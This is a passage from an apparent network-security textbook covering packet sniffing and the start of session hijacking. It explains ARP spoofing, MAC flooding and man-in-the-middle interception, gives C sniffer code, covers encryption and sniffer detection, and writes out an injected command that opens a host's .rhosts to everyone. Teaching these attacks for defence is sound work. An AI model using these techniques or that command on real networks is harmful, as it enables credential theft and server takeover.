A court order must specify exactly what is to be monitored, such as an IP address or e-mail account. Such wide-open keyword searches are illegal in the United States.The FBI initially denied that Carnivore had this feature. Ports A list of TCP and UDP ports can be specified. For example, if the FBI has a court order allowing e-mail capture, they might specify the e-mail ports of 25, 110, and 143. SMTP e-mail addresses A typical scenario is where Carnivore monitors an ISPs e-mail server, discarding all e-mails except those of the suspects. An e-mail session is tracked until the suspect’s e-mail address is seen, then all the packets that make up the e-mail are captured. Dynamic IP addresses When users dial-up the Internet, they are logged in via the RADIUS protocol, which then assigns them an IP address. Normally, the FBI will ask the ISP to reconfigure their RADIUS servers to always assign the same IP address to the suspect, and will then monitor all traffic to/from that IP address. (Note: if you are a dial-up user and suspect the FBI is after you, check to see if your IP address is the same every time you dial up). Sometimes this isn’t possible. Carnivore can be configured to monitor the RADIUS protocol and dynamically discover the new IP address assigned to the suspect. Monitoring begins when the IP address is assigned, and stops when it is unassigned. The FBI developed Carnivore because utilities like dsniff do not meet the needs of law enforcement.When an e-mail is sent across the wire, it is broken down into multiple packets. A utility like mailsnarf (described earlier) will reassemble the e-mail back into its original form.This is bad because the suspect’s defense attorneys will challenge its accuracy: Did a packet get dropped somewhere in the middle that changes the meaning of the e-mail? Did a packet from a different e-mail somehow get inserted into the message? By capturing the raw packets rather than reassembling them, Carnivore maintains the original sequence numbers, ports, and timestamps.Any missing or extra packets are clearly visible, allowing the FBI to defend the accuracy of the system. www.syngress.com Sniffing • Chapter 10 385 Another problem that the FBI faces is minimization of the sniffed data.When the FBI wiretaps your line, they must assign an agent to listen in. If somebody else uses your phone (like your spouse or kids), they are required to turn off the tape recorders. In much the same way, Carnivore is designed to avoid capturing anything that does not belong to the suspect. A typical example would be using Carnivore to monitor the activities of a dial-up user. Carnivore contains a module to monitor the RADIUS traffic that is used by most ISPs to authenticate the user and assign a dynamic IP address.This allows Carnivore to monitor only that user without intercepting any other traffic. A sample program containing many of the features of Carnivore can be found on the Web site for this book (www.syngress.com/solutions). Additional Resources There are some interesting locations that provide a more comprehensive list of available sniffer programs, some of which are listed here: A list of network monitoring programs available from Underground Security Systems Research: www.ussrback.com/packetsniffers.htm. A very good and very detailed overview of packet sniffers written by Robert Graham: www.robertgraham.com/pubs/sniffing-faq.html. NOTE A FAQ for Carnivore can be found at www.robertgraham.com/pubs/ carnivore-faq.html. Advanced Sniffing Techniques As technology has moved forward, attackers have had to create new methods to sniff network traffic.The next sections take a look at a couple of methods that attackers use to get around technology advancements. Man-in-the-Middle (MITM) Attacks As we describe later, the most effective defense against sniffing is using encrypted protocols such as SSL and SSH. However, the latest dsniff and Ettercap packages contain techniques for fooling encryption. www.syngress.com 386 Chapter 10 • Sniffing The basic technique is known as a man-in-the-middle (MITM) attack.A good example of this is in the James Bond movie From Russia with Love. Bond is supposed to meet another agent in a train station.The evil agent from SPECTRE contacts the agent first, pretending to be Bond. In this manner, the evil agent gets the correct passphrase.The evil agent then pretends to be the agent that Bond is supposed to contact. The same technique can be applied to encrypted protocols. An attacker sets up a server that answers requests from clients. For example, the server could answer a request for https://www.amazon.com.A user contacting this machine will falsely believe they have established an encrypted session to Amazon.com.At the same time, the attacker contacts the real Amazon.com and pretends to be the user.The attacker plays both roles, decrypting the incoming data from the user, then reencrypting it for transmission to the original destination. In theory, encryption protocols have defenses against this. A server claiming to be Amazon.com needs to prove that it is, indeed,Amazon.com. In practice, most users ignore this. MITM attacks have proven effective when used in the field. Cracking Tools like dsniff and Ettercap capture not only passwords, but also encrypted passwords. In theory, capturing the encrypted passwords is useless. However, people choose weak passwords, such as words from the dictionary. It takes only a few seconds for an attacker to run through a 100,000-word dictionary, comparing the encrypted form of each dictionary word against the encrypted password. If a match is found, then the attacker has discovered the password. Such password cracking programs already exist.Tools like dsniff and Ettercap simply output the encrypted passwords in a form that these tools can read. Switch Tricks Switches came into vogue a few years ago, and a lot of people think that if they have a switched network, it is impossible for an attacker to use a sniffer successfully to capture any information from them. It’s time to burst their bubble, as you will see when we discuss methods of successfully sniffing on a switched network. ARP Spoofing When attempting to monitor traffic on a switched network, you will run into one serious problem:The switch will limit the traffic that is passed over your section of the network. Switches keep an internal list of the MAC addresses of hosts www.syngress.com Sniffing • Chapter 10 387 that are on each port.Traffic is sent to a port only if the destination host is recorded as being present on that port. It is possible to overwrite the ARP cache on many operating systems, which would allow you to associate your MAC address with the default gateway’s IP address.This would cause all outgoing traffic from the target host to be transmitted to you instead.You would need to ensure that you manually have added an ARP table entry for the real default gateway, to ensure that the traffic will be sent to the real target, and also to ensure that you have IP forwarding enabled. It has been found that many cable modem networks are also vulnerable to this type of attack, since the cable modem network is essentially an Ethernet network, with cable modems acting as bridges. In short, there is no solution to this attack, and new generations of cable modem networks will use alternate mechanisms to connect a user to the network. The dsniff sniffer by Dug Song includes a program named arpspoof (formerly arpredirect) for exactly this purpose. arpspoof redirects packets from a target host (or all hosts) on the LAN intended for another host on the LAN by forging ARP replies. This is an extremely effective way of sniffing traffic on a switch. —dsniff FAQ MAC Flooding To serve its purpose, a switch must keep a table of all MAC (Ethernet) addresses of the hosts that appear on each port. If a large number of addresses appear on a single port, filling the address table on the switch, then the switch no longer has a record of which port the victim MAC address is connected to.This is the same situation as when a new machine first attaches to a switch, and the switch must learn where that address is. Until it learns which port it is on, the switch must send copies of frames for that MAC address to all switch ports, a practice known as flooding. The dsniff sniffer includes a program named macof, which facilitates the flooding of a switch with random MAC addresses to accomplish this: macof floods the local network with random MAC addresses (causing some switches to fail open in repeating mode, facilitating sniffing). A straight C port of the original Perl Net::RawIP macof program by Ian Vitek <ian.vitek@infosec.se>. —dsniff FAQ www.syngress.com 388 Chapter 10 • Sniffing Routing Games One method to ensure that all traffic on a network will pass through your host is to change the routing table of the host you wish to monitor.This may be possible by sending a fake route advertisement message via RIP, declaring yourself as the default gateway. If successful, all traffic will be routed through your host. Ensure that you have enabled IP forwarding, and that your default gateway is set to the real network gateway. All outbound traffic from the host will pass through your host, and onto the real network gateway.You may not receive return traffic, unless you also have the ability to modify the routing table on the default gateway to reroute all return traffic back to you. Exploring Operating System APIs Operating systems provide, or don’t provide, interfaces to their network link layer. Let’s examine a variety of operating systems to determine how they interface to their network link layer. Linux Linux provides an interface to the network link layer via its socket interface.This is one of the easiest of the interfaces provided by any operating system.The following program illustrates how simple this is.This program opens up the speci- fied interface, sets promiscuous mode, and then proceeds to read Ethernet packets from the network.When a packet is read, the source and destination MAC addresses are printed, in addition to the packet type. #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <linux/if_arp.h> #include <linux/if_ether.h> #include <linux/sockios.h> #include <net/ethernet.h> int open_interface(char *name) { www.syngress.com Sniffing • Chapter 10 389 struct sockaddr addr; struct ifreq ifr; int sockfd; /* open a socket and bind to the specified interface */ sockfd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)); if (sockfd < 0) return -1; memset(&addr, 0, sizeof(addr)); addr.sa_family = AF_INET; strncpy(addr.sa_data, name, sizeof(addr.sa_data)); if (bind(sockfd, &addr, sizeof(addr)) != 0) { close(sockfd); return -1; } /* check to make sure this interface is ethernet, otherwise exit */ memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(sockfd, SIOCGIFHWADDR, &ifr) < 0) { close(sockfd); return -1; } if (ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER) { close(sockfd); return -1; } www.syngress.com 390 Chapter 10 • Sniffing /* now we set promiscuous mode */ memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) < 0) { close(sockfd); return -1; } ifr.ifr_flags |= IFF_PROMISC; if (ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) { close(sockfd); return -1; } return sockfd; } /* read ethernet packets, printing source and destination addresses */ int read_loop(sockfd) { struct sockaddr_in from; char buf[1792], *ptr; int size, fromlen, c; struct ether_header *hdr; while (1) { /* read the next available packet */ size = recvfrom(sockfd, buf, sizeof(buf), 0, &from, &fromlen); if (size < 0) return -1; www.syngress.com Sniffing • Chapter 10 391 if (size < sizeof(struct ether_header)) continue; hdr = (struct ether_header *)buf; /* print out ethernet header */ for (c = 0; c < ETH_ALEN; c++) printf("%s%02x",c == 0 ? "" : ":",hdr->ether_shost[c]); printf(" > "); for (c = 0; c < ETH_ALEN; c++) printf("%s%02x",c == 0 ? "" : ":",hdr->ether_dhost[c]); printf(" type: %i\n", hdr->ether_type); } } int main(int argc, char **argv) { int sockfd; char *name = argv[1]; if (!argv[1]) { fprintf(stderr, "Please specify an interface name\n"); return -1; } if ((sockfd = open_interface(name)) < 0) { fprintf(stderr, "Unable to open interface\n"); return -1; } www.syngress.com 392 Chapter 10 • Sniffing if (read_loop(sockfd) < 0) { fprintf(stderr, "Error reading packet\n"); return -1; } return 0; } BSD BSD-based operating systems such as OpenBSD, FreeBSD, NetBSD, and BSDI all provide an interface to the link layer via a kernel-based driver called the Berkeley Packet Filter (BPF). BPF possesses some very nice features that make it extremely efficient at processing and filtering packets. The BPF driver has an in-kernel filtering mechanism.This is composed of a built-in virtual machine, consisting of some very simple byte operations allowing for the examination of each packet via a small program loaded into the kernel by the user.Whenever a packet is received, the small program is run on the packet, evaluating it to determine whether it should be passed through to the user-land application. Expressions are compiled into simple bytecode within user-land, and then loaded into the driver via an ioctl() call. libpcap libpcap is not an operating system interface, but rather a portable cross-platform library that greatly simplifies link layer network access on a variety of operating systems. libpcap is a library originally developed at Lawrence Berkeley Laboratories (LBL). Its goal is to abstract the link layer interface on various operating systems and create a simple standardized application program interface (API).This allows the creation of portable code, which can be written to use a single interface instead of multiple interfaces across many operating systems.This greatly simplifies the technique of writing a sniffer, when compared to the effort required to implement such code on multiple operating systems. The original version available from LBL has been significantly enhanced since its last official release. It has an open source license (the BSD license), and therefore can also be used within commercial software, and allows unlimited modifications and redistribution. www.syngress.com Sniffing • Chapter 10 393 The original LBL version can be obtained from ftp://ftp.ee.lbl.gov/ libpcap.tar.Z .The tcpdump.org guys, who have taken over development of TCPDump, have also adopted libpcap. More recent versions of libpcap can be found at www.tcpdump.org. In comparison to the sniffer written for the Linux operating system, using its native system interface, a sniffer written on Linux using libpcap is much simpler, as seen here: #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <net/ethernet.h> #include <pcap/pcap.h> pcap_t *open_interface(char *name) { pcap_t *pd; char ebuf[PCAP_ERRBUF_SIZE]; /* use pcap call to open interface in promiscuous mode */ pd = pcap_open_live(name, 1600, 1, 100, ebuf); if (!pd) return NULL; return pd; } int read_loop(pcap_t *pd) { const unsigned char *ptr; int size, c; struct pcap_pkthdr h; struct ether_header *hdr; while (1) { www.syngress.com 394 Chapter 10 • Sniffing /* read the next available packet using libpcap */ ptr = pcap_next(pd, &h); if (h.caplen < sizeof(struct ether_header)) continue; hdr = (struct ether_header *)ptr; /* print out ethernet header */ for (c = 0; c < ETH_ALEN; c++) printf("%s%02x",c == 0 ? "" : ":",hdr->ether_shost[c]); printf(" > "); for (c = 0; c < ETH_ALEN; c++) printf("%s%02x",c == 0 ? "" : ":",hdr->ether_dhost[c]); printf(" type: %i\n", hdr->ether_type); } } int main(int argc, char **argv) { pcap_t *pd; char *name = argv[1]; if (!argv[1]) { fprintf(stderr, "Please specify an interface name\n"); return -1; } pd = open_interface(name); if (!pd) { www.syngress.com Sniffing • Chapter 10 395 fprintf(stderr, "Unable to open interface\n"); return -1; } if (read_loop(pd) < 0) { fprintf(stderr, "Error reading packet\n"); return -1; } return 0; } Windows Unfortunately,Windows-based operating systems provide no functionality to access the network at the data link layer.We must obtain and install a third-party packet driver to obtain access to this level. Until recently, there have been no such drivers publicly available for which a license was not required. A BPF-like driver has now been written that supports even the BPF in-kernel filtering mechanism. A port of the libpcap library is also now available that, when combined with the driver, provides an interface as easy as their UNIX counterparts. The driver, libpcap port, as well as a Windows version of TCPDump, are both available from http://netgroup-serv.polito.it/windump. Taking Protective Measures So you probably think that all is lost and that there is nothing you can do to prevent sniffing from occurring on your network, right? All is not lost, as you will see in this section. Providing Encryption Fortunately, for the state of network security, encryption (used properly) is the one silver bullet that will render a packet sniffer useless. Encrypted data, assuming its encryption mechanism is valid, will thwart any attacker attempting to passively monitor your network. Many existing network protocols now have counterparts that rely on strong encryption, and all-encompassing mechanisms such as IPSec provide this for all www.syngress.com 396 Chapter 10 • Sniffing protocols. Unfortunately, IPSec is not widely used on the Internet outside of individual corporations. Secure Shell (SSH) Secure Shell is a cryptographically secure replacement for the standard Telnet, rlogin, rsh, and rcp commands. It consists of both a client and server that use public key cryptography to provide session encryption. It also provides the ability to forward arbitrary ports over an encrypted connection, which comes in very handy for the forwarding of X11 Windows and other connections. SSH has received wide acceptance as the secure mechanism to access a remote system interactively. SSH was conceived and initially developed by Finnish developer Tatu Ylonen.The original version of SSH turned into a commercial venture, and although the original version is still freely available, the license has become more restrictive.A public specification has been created, resulting in the development of a number of different versions of SSH-compliant client and server software that do not contain these restrictions (most signifi- cantly, those that restrict commercial use). The original SSH, written by Tatu Ylonen, is available from ftp://ftp.cs.hut.fi/ pub/ssh/.The new commercialized SSH can be purchased from SSH Communications Security (www.ssh.com), who have made the commercial version free to recognized universities. A completely free version of SSH-compatible software, OpenSSH, developed by the OpenBSD operating system project (as seen in Figure 10.8), can be obtained from www.openssh.com. www.syngress.com Figure 10.8 The OpenSSH Project Sniffing • Chapter 10 397 Incidentally, the OpenBSD/OpenSSH team does a lot of good work for little or no money. Figure 10.8 is available as a T-shirt, and proceeds go to help cover expenses for the project. Check out the shirts, posters, and CD-ROMs that they sell at www.openbsd.org/orders.html. Secure Sockets Layers (SSL) SSL provides authentication and encryption services. From a sniffing perspective, SSL is vulnerable to a man-in-the-middle attack (as described previously in the dsniff section). An attacker can set up a transparent proxy between you and the Web server.This transparent proxy can be configured to decrypt the SSL connection, sniff it, and then reencrypt it.When this happens, the user will be prompted with dialogs similar to Figure 10.9.The problem is that most users ignore the warnings and proceed anyway. PGP and S/MIME PGP and S/MIME are standards for encrypting e-mail. If used correctly, these will prevent e-mail sniffers like dsniff and Carnivore from being able to interpret intercepted e-mail. In the United States, the FBI has designed a Trojan horse called Magic Lantern that is designed to log keystrokes, hopefully capturing a user’s passphrase. Once the FBI gets a passphrase, they can then decrypt the e-mail messages. In the United Kingdom, users are required by law to give their encryption keys to law enforcement when requested. www.syngress.com Figure 10.9 Incorrect SSL Certificate Alert 398 Chapter 10 • Sniffing Switching Network switches do make it more difficult for an attacker to monitor your network; however, not by much. Switches sometimes are recommended as a solution to the sniffing problem; however, their real purpose is to improve network performance, not provide security. As explained in the section “Advanced Sniffing Techniques,” any attacker with the right tools can still monitor a switched host if they are on the same switch or segment as that system. Employing Detection Techniques But what if you can’t use encryption on your network for some reason? What do you do then? If this is the case, then you must rely on detecting any network interface card (NIC) that may be operating in a manner that could be invoked by a sniffer. Local Detection Many operating systems provide a mechanism to determine whether a network interface is running in promiscuous mode.This is usually represented in a type of status flag that is associated with each network interface and maintained in the kernel.This can be obtained by using the ifconfig command on UNIX-based systems. The following examples show an interface on the Linux operating system when it isn’t in promiscuous mode: eth0 Link encap:Ethernet HWaddr 00:60:08:C5:93:6B inet addr:10.0.0.21 Bcast:10.0.0.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1492448 errors:2779 dropped:0 overruns:2779 frame:2779 TX packets:1282868 errors:0 dropped:0 overruns:0 carrier:0 collisions:10575 txqueuelen:100 Interrupt:10 Base address:0x300 Note that the attributes of this interface mention nothing about promiscuous mode.When the interface is placed into promiscuous mode, as shown next, the PROMISC keyword appears in the attributes section: eth0 Link encap:Ethernet HWaddr 00:60:08:C5:93:6B inet addr:10.0.0.21 Bcast:10.0.0.255 Mask:255.255.255.0 www.syngress.com Sniffing • Chapter 10 399 UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:1492330 errors:2779 dropped:0 overruns:2779 frame:2779 TX packets:1282769 errors:0 dropped:0 overruns:0 carrier:0 collisions:10575 txqueuelen:100 Interrupt:10 Base address:0x300 It is important to note that if an attacker has compromised the security of the host on which you run this command, he or she can easily affect this output.An important part of an attacker’s toolkit is a replacement ifconfig command that does not report interfaces in promiscuous mode. Network Detection There are a number of techniques, varying in their degree of accuracy, to detect whether a host is monitoring the network for all traffic.There is no guaranteed method to detect the presence of a network sniffer. DNS Lookups Most programs that are written to monitor the network perform reverse DNS lookups when they produce output consisting of the source and destination hosts involved in a network connection. In the process of performing this lookup, additional network traffic is generated; mainly, the DNS query to look up the network address. It is possible to monitor the network for hosts that are performing a large number of address lookups alone; however, this may be coincidental, and not lead to a sniffing host. An easier way, which would result in 100 percent accuracy, would be to generate a false network connection from an address that has no business being on the local network.We would then monitor the network for DNS queries that attempt to resolve the faked address, giving away the sniffing host. Latency A second technique that can be used to detect a host that is monitoring the network is to detect latency variations in the host’s response to network traffic (i.e., ping). Although this technique can be prone to a number of error conditions (such as the host’s latency being affected by normal operation), it can assist in determining whether a host is monitoring the network.The method that can be used is to probe the host initially, and sample the response times. Next, a large amount of network traffic is generated, specifically crafted to interest a host that www.syngress.com 400 Chapter 10 • Sniffing is monitoring the network for authentication information. Finally, the latency of the host is sampled again to determine whether it has changed significantly. Driver Bugs Sometimes an operating system driver bug can assist us in determining whether a host is running in promiscuous mode. In one case, CORE-SDI, an Argentine security research company, discovered a bug in a common Linux Ethernet driver. They found that when the host was running in promiscuous mode, the operating system failed to perform Ethernet address checks to ensure that the packet was targeted toward one of its interfaces. Instead, this validation was performed at the IP level, and the packet was accepted if it was destined to one of the host’s interfaces. Normally, packets that did not correspond to the host’s Ethernet address would have been dropped at the hardware level; however, in promiscuous mode, this doesn’t happen.We could determine whether the host was in promiscuous mode by sending an ICMP ping packet to the host, with a valid IP address of the host, but an invalid Ethernet address. If the host responded to this ping request, it was determined to be running in promiscuous mode. AntiSniff AntiSniff is a tool written by a Boston-based group of grey-hat hackers known as the L0pht.They have combined several of the techniques just discussed into a tool that can serve to effectively detect whether a host is running in promiscuous mode.A 15-day trial version of this tool (for Windows-based systems) can be obtained from their Web site located at www.securitysoftwaretech.com/antisniff. A UNIX version is available for free for noncommercial use. See the license for the restrictions on using this version. Remember that AntiSniff finds some sniffers, not all. Some sniffers are completely stealth, whereas others have been patched to counteract AntiSniff. Network Monitor Network Monitor, available on Windows NT based systems, has the capability to monitor who is actively running NetMon on your network. It also maintains a history of who has NetMon installed on their system. It detects only other copies of Network Monitor, so if the attacker is using another sniffer, then you must detect it using one of the previous methods discussed. Most network-based intrusion detection systems will also detect these instances of NetMon. www.syngress.com Sniffing • Chapter 10 401 Summary Sniffing is monitoring a network for useful information. Sniffing can be used to steal authentication information (passwords), can be used to steal e-mail, monitor Web usage, and generally discover everything a target is doing on a network. Protocols that are useful to sniff for passwords include Telnet, POP3, IMAP, HTTP, and NetBIOS. There are many popular sniffing software packages.These include Ethereal, Sniffer Pro, NetMon,AiroPeek,TCPDump, dsniff, and Ettercap. Some of these are commercial, and some are available for free. For password monitoring, dsniff is the most useful. It’s also one of the free ones. It also has modules for monitoring e-mail and Web traffic. Carnivore is a specialized sniffer used by law enforcement that has more filtering options than many others (and is not available to the general public). Traditionally, most local area networks sent traffic to all attached nodes. Currently, many networks employ switches, which are network devices designed to help improve performance.They can also hinder sniffing somewhat, since they are designed to not send traffic to nodes that aren’t supposed to get it.There are tricks that can be played to get around this problem, such as MAC flooding,ARP spoofing, or route manipulation.These techniques are designed to give a sniffer on a switched network an opportunity to monitor traffic again. MAC flooding and route manipulation work by manipulating the network equipment itself. ARP spoofing works by manipulating the ARP table of the machine that is to be monitored. Some of the sniffing packages mentioned come with tools to accomplish these tricks. Each operating system comes with its own API for capturing network traffic, except older versions of Windows. Free add-on driver software is available for versions of Windows that don’t include the functionality.Writing a program to capture network traffic can be done in a handful of lines in many cases, though you will need the appropriate privileges in order to use it. However, actually decoding the traffic your program captures will be much harder. In general, encryption is the way to defend against sniffing. If done properly, encrypted network traffic will defeat any sniffing attempts. However, many encryption schemes rely on the end user to make intelligent choices regarding the error messages the might see.This leaves a hole for MITM attacks, which may cause an error, but the error is often ignored.The dsniff package includes some tools for performing MITM (monkey-in-the-middle, in that case) attacks. www.syngress.com 402 Chapter 10 • Sniffing There are some ways that some sniffers can be detected, if they are running on top of a general-purpose operating system.These include seeing if any DNS queries happen for fake IP address, checking for responses to packets with the wrong MAC address, and others.These will never be 100 percent reliable, because it is possible to build a totally passive sniffer. Solutions Fast Track What Is Sniffing? Sniffing is a network wiretap that passively monitors network traffic. In classic operation, a sniffer attaches on the side of the network wire. In modern operation, sniffers are installed on the target machine or as gateways in order to intercept traffic. What to Sniff? The most common target for sniffers is cleartext authentication information, such as the usernames and passwords found in such protocols as Telnet, FTP, and HTTP. The second most common targets are e-mail messages, HTTP input, or Telnet sessions. Popular Sniffing Software There are many commercial and freeware sniffing products that are intended to be used as network diagnostic tools, such as Ethereal, Network Associate’s Sniffer Pro, NetMon,WildPackets’ AiroPeek, and tcpdump.These products don’t have hacker features such as password grabbing. Examples of hacker sniffing tools are dsniff, Ettercap, Esniff, and Sniffit. Rather than sniffing all traffic, these tools target passwords and cleartext data. www.syngress.com Sniffing • Chapter 10 403 Advanced Sniffing Techniques It is harder to sniff on today’s networks than it was in the past, primarily due to the use of switches. Older networks repeated data on all wires, allowing anybody on the network to see all traffic. Switches prevent others from seeing your traffic. Switches can be attacked in various ways, such as flooding with MAC addresses to force failure conditions, spoofing ARP packets, or spoofing routing packets.These techniques confuse equipment in to forwarding network traffic to a nearby hacker running a sniffer. Several sniffing packages allow attackers to interpose themselves as part of a man-in-the-middle attack. An example is pretending to be an HTTPS server; the victim encrypts traffic with the attacker’s key thinking it is the trusted server’s key.This allows the attacker to see the data before reencrypting with the real server’s key. Exploring Operating System APIs Sniffing is not a normal operating mode of an operating system. Special APIs must be used to enable it. The libpcap API is the most widely supported API across UNIX/ Windows platforms, and there are more specialized APIs for specific platforms. Taking Protective Measures The most important defense against sniffers is encryption. Most protocols support encryption of the authentication credentials (username, password) and data. SSL and SSH are the two most important encryption standards. Encryption does not work if it is not used properly. Users much choose strong passwords and must be vigilant against man-in-the-middle attacks. Replacing shared media hubs with switches will make sniffing harder, but cannot be relied upon to make sniffing impossible. www.syngress.com 404 Chapter 10 • Sniffing Employing Detection Techniques The most important measure is to monitor hosts themselves in order to see if their interfaces have been placed in promiscuous mode.This indicates not only that a sniffer is running, but that the box has been compromised by a hacker. Remotely detecting sniffers is not reliable. Remote detection relies upon hosts behaving in certain ways, such as running slowly when the sniffer is active, or sniffers who resolve IP addresses to names. Only some sniffers will behave this way. Q: Is network monitoring legal? A: Although using sniffers for network diagnostics and management is legal, network monitoring of employee activities by management has been highly debated. Commercial tools exist for exactly this purpose. In most countries (particularly the United States and United Kingdom), it is legal for employers to monitor any activity that traverses their own networks, including all employee activity. Q: How can I detect a sniffer running on my network? A: There is no 100 percent reliable method to detect a sniffer; however, utilities are available to assist in this (AntiSniff). Q: How can I protect myself from a sniffer? A: Encryption, encryption, and encryption—this is the one true solution. Many newer versions of network protocols also support enhancements that provide secure authentication. www.syngress.com Frequently Asked Questions The following Frequently Asked Questions, answered by the authors of this book, are designed to both measure your understanding of the concepts presented in this chapter and to assist you with real-life implementation of these concepts. To have your questions about this chapter answered by the author, browse to www.syngress.com/solutions and click on the “Ask the Author” form. Sniffing • Chapter 10 405 Q:Why can’t I get my tool to work under Windows? A: Most of the sniffing tools described in this chapter were written on platforms such as Linux.They can run under Windows, but you will need to install UNIX-like features on Windows.You will usually need to install the WinDump toolkit described earlier.You may need to install other utilities as well, such as the Gnu environment. Q: Can I use these tools on wireless networks? A:Yes, but it is difficult without a lot of work. Sniffing is not supported by the standard package you receive from your vendor.You need to search on the Internet and find patches for your particular driver.You may also need to download special utilities such as AirSnort that are designed to bypass the poor encryption in today’s wireless networks. Luckily, most people don’t use encryption, so this may not be necessary. |
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![]() Chapter 11 • Session Hijacking Introduction The term session hijacking refers to an attacker’s ability to take over a portion of a session (often a network conversation) and act as one of the participants. Session hijacking is usually an extension of sniffing, except that sniffing is passive and hijacking requires active participation. Hijacking exploits the inherent weaknesses in most types of networks and unencrypted protocols, namely that the information passes in the clear.This is the same weakness that sniffing takes advantage of. In addition to monitoring, a hijacking attack may also inject a packet or frame pretending to be one of the communicating hosts.This act is similar to spoofing, except no guessing is involved—all the necessary information is available to the attacker. This chapter discusses what a hacker can accomplish with hijacking and the tools that are currently available to perform hijacking attacks. Understanding Session Hijacking Session hijacking is probably best explained with an example: Imagine that the hacker has accomplished enough of an attack or has positioned himself fortuitously so that he’s able to monitor traffic between two machines. One of the machines is a server that he’s been trying to break into.The other is obviously a client. In our example, the attacker catches the root user logging in via Telnet, and he successfully steals the password—only to find out that it is an s/key onetime password. As the name implies, one-time passwords are used one time, so even if someone is monitoring and steals the password, it will do him no good; at that point the password has been “used up.” What does the hacker do? Simple: He sends a packet with the appropriate headers, sequence numbers, and the like with a body of: <cr> echo + + > /.rhosts <cr> where <cr> is the carriage-return character.This particular command presupposes some other conditions before it’s useful, but it illustrates the point. If any of the Berkeley “r” services are enabled, this particular command allows anyone in the world to issue commands on that server as any user (including root). Naturally, the attacker follows this action with some devastating set of commands issued via rsh, forever giving him ownership of that box until the real owner can format the drives and start over. www.syngress.com www.syngress.com Now, there are some difficulties with this attack as outlined, and we’ll cover all of those in detail in this chapter. Suffice it to say for now that the person sitting in front of the original client will either have his or her connection dropped or the command the hacker issued will be echoed back to that person’s screen. Session Hijacking • Chapter 11 409 Got UNIX? I don’t mean to start a religious war, but if you’re an IT professional who does security work and so far you’ve used only Windows, someday you’ll find that you need to work with some sort of UNIX system. The only reason this is true that no one can really argue with you about is that some security tools are available only for UNIX or work-alike systems. For the purposes of this discussion, Linux, any of the BSDs, or any of the commercial UNIX systems are all UNIX. Officially, UNIX is a trademark and applies only to a couple of OSs from the Santa Cruz Operation (SCO) and licensees, but for the purposes of compiling software, we don’t care about trademarks. So, which one to use? Probably, you’ll want a free OS to keep expenses down. You’ll want something that runs on the Intel x86 processor line so that you can use an old Windows box or dual-boot on a Windows box. Linux is probably the easiest from a security tools experimentation point of view. Because of its large user base, most of these tools have instructions on how to get them to work on a Linux system. Some tools (such as the previously mentioned Hunt) work only on Linux. Linux isn’t necessarily the most secure UNIX out there, however, if that’s a concern. (If you collect a large set of tools and with them you start to collect information about your network, that information becomes something you need to protect well.) For that, OpenBSD is pretty sexy to security people because it’s one of the very few operating systems that has security as one of its primary design goals, and it shows. Another particularly interesting UNIX (a custom Linux distribution, actually) is Trinux. It’s particularly useful for two reasons: First, because it comes with a number of security tools already compiled, configured, and ready to go. Second, it’s designed to boot off a diskette or CD-ROM and read its software from another disk or file allocation table (FAT) hard drive (or even FTP/HTTP servers). This means no disk partitioning! Trinux can be found at http://trinux.sourceforge.net. Tools & Traps… 410 Chapter 11 • Session Hijacking TCP Session Hijacking So, what happened under the hood in the Telnet-hijacking example we just examined? Let’s take a look at how the hijacking of a Transmission Control Protocol (TCP) connection works in general.When attempting to hijack a TCP connection, a hacker must pay attention to all the details that go into a TCP connection. These details include things like sequence numbers,TCP headers, and ACK packets. We won’t do a complete review of how TCP/IP works here, but let’s look briefly at some relevant portions as a quick reminder. Recall that a TCP connection starts out with the standard TCP three-way handshake:The client sends a SYN (synchronization) packet, the server sends a SYN-ACK packet, and the client responds with an ACK (acknowledgment) packet and then starts to send data or waits for the server to send. During the information exchange, sequence counters increment on both sides, and packet receipt must be acknowledged with ACK packets.The connection finishes with either an exchange of FIN (finish) packets, similar to the starting three-way handshake, or more abruptly with RST (reset) packets. Where during this sequence of packets does the hacker want to send? Obviously, she wants to do it before the connection finishes, or else there will be no connection left to hijack.The hacker almost always wants to hijack in the middle, after a particular event has occurred.The event in question is the authentication step.Think about what would happen if she were to hijack the connection during the initial handshake or before the authentication phase had completed.What would she have control of? The server would not be ready to receive commands until the authentication phase had completed. She’d have a hijacked connection that was waiting for her to provide a password of some sort. In other words, she’d be in exactly the same situation as she would be if she’d just connected as a normal client herself. As mentioned before, the point of hijacking a connection is to steal trust.The trust doesn’t exist before the authentication has occurred.There are some services that can be configured to authenticate on IP address alone, such as the Berkeley “r” services mentioned earlier, but if that’s the case, no hijacking is really required; at that point, it becomes a matter of spoofing. If a hacker were in a position to do TCP connection hijacking, she’d also easily be able to spoof effectively. Note that when we say “If a hacker were in a position to…,” we mean that the hacker must have control of the right victim machine to be able to accomplish any of this activity. Just as with sniffing, the hacker will almost certainly www.syngress.com Session Hijacking • Chapter 11 411 need control of a box on the same Layer 2 network segment as either the client or the server. Unless she’s able to pull some heavy route manipulation, the packets won’t come to the hacker—she’ll have to go to the packets. TCP Session Hijacking with Packet Blocking If an attacker is able to perform a TCP session hijack in such a way that he completely controls the transmission of packets between the two hosts, that attacker has a considerable advantage. Contrast this scenario with the example in the preceding section, where the attacker is likely sitting on shared network media with one of the hosts and he can only inject packets, not remove them. Clearly, there are a number of anomalous behaviors that either host, or perhaps an intrusion detection system (IDS) somewhere in between, could be configured to spot. However, if the attacker is able to drop packets at will, he can then perfectly emulate the other end of a conversation to either host. (At least theoretically he can “perfectly” emulate either side. It depends on the quality of the TCP host emulation in the attacker’s software. Research is being done in the area of passive OS fingerprinting. If there is a flaw in the attacker’s emulation of a particular OS’s characteristics, it’s possible that a host might be able to use passive OS detection techniques to spot a change in the TCP communications and flag an anomaly.) Being able to drop packets will eliminate the ACK storms, duplicate packets, and the like. In fact, such systems to take over connections in this manner exist today; we call them transparent firewalls. (Transparent in this case means that the client needs no special configuration.) Some transparent 